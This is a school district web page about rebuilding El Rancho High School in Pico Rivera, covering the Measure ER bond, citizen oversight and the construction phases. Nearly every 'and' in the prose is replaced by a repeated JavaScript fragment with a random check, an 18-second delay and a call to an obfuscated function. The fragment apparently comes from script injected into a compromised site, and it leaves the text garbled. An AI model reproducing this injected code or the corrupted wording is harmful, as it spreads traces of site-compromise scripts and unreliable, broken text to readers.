Community


While factors such as teacher andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and parental involvement have an indisputable impact on student achievement, it is important to have well-designed school facilities that integrally support such achievement. Further, school facility upgrades have a wide array of district-wide andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and community-wide benefits. These include teacher job satisfaction andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and retention, increased residential property values, equity across communities, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and reduced negative health issues arising from aging buildings andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and infrastructure.

Despite being well-maintained, the current high school is more than 65 years old andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and beyond the facilities’ intended lifecycle. During the development of the Student Centric Facilities Master Plan (SCFMP), assessments conducted cited deficiencies with the current facilities andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and their ability to support a 21st-century curriculum. The SCFMP identified that it would be more cost effective to completely redevelop El Rancho High School rather than invest in upgrades of individual buildings due to continued high costs the outdated infrastructure could incur every couple of years.

El Rancho High School is the only comprehensive high school in Pico Rivera. The quality of a community’s schools is one of the deciding factors for current andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and prospective residents whether they choose to relocate or stay in a city. With the current high school’s aging infrastructure, our school district cannot compete with other high schools in neighboring districts, causing Pico Rivera residents to enroll their children in schools outside our district or to move out of the city. A new, state-of-the-art high school will make Pico Rivera more attractive to its residents andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and prospective residents. In addition, it will bring jobs andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and economic opportunities for local businesses andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and entrepreneurs.

Paying homage to El Rancho High School’s deeply-rooted history in the community, the design will preserve some bricks from the current buildings andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and will integrate them into the design of the new campus structures. Memorials of the celebrated veteran Dons at the stadium will be preserved. In addition, the legendary El Rancho shield in the current locker rooms will be relocated andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and displayed in the new gym.

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Local businesses can visit the website of El Rancho Unified School District’s Procurement Department at https://www.erusd.org/apps/pages/bids for information regarding current Bids andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Requests for Proposal (RFPs).


Funding


In 2016, voters in the El Rancho Unified School District overwhelmingly approved Measure ER, a $200 million bond measure to rebuild andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and transform El Rancho High School to 21st century standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andards. Measure ER will include school upgrades that will allow us to prepare our students andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and teachers with skills for jobs of the future.

To date, El Rancho Unified School District has sold $16.8 million in Measure ER bonds. The available funds have been designated to cover costs associated with the planning, design, demolition andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and initial construction cash flow requirements.

Laws governing Measure ER prohibit spending any bond funds on salaries or district operating expenses. In addition, an independent Citizens’ Bond Oversight Committee (CBOC) comprised of local citizens, including senior citizens, homeowners, parents, taxpayers, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and others, has been established to monitor andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and publicly report on the expenditure of the bond funds, ensuring they are appropriately andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and efficiently spent on facilities needs as specified in the bond language.

Construction


The project will be constructed in five phases with some intermediate milestones. The school will remain in full session throughout these phases, however, there are foreseeable disruptions that are expected as there are in any type of construction project of this scale. Our project team will work closely with administration andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and staff to keep everyone informed of the construction schedule as well as work to keep disruptions to a minimum.

The completion of the new El Rancho High School will be approximately 2028. A detailed project schedule is available under the “Schedule” tab of this website.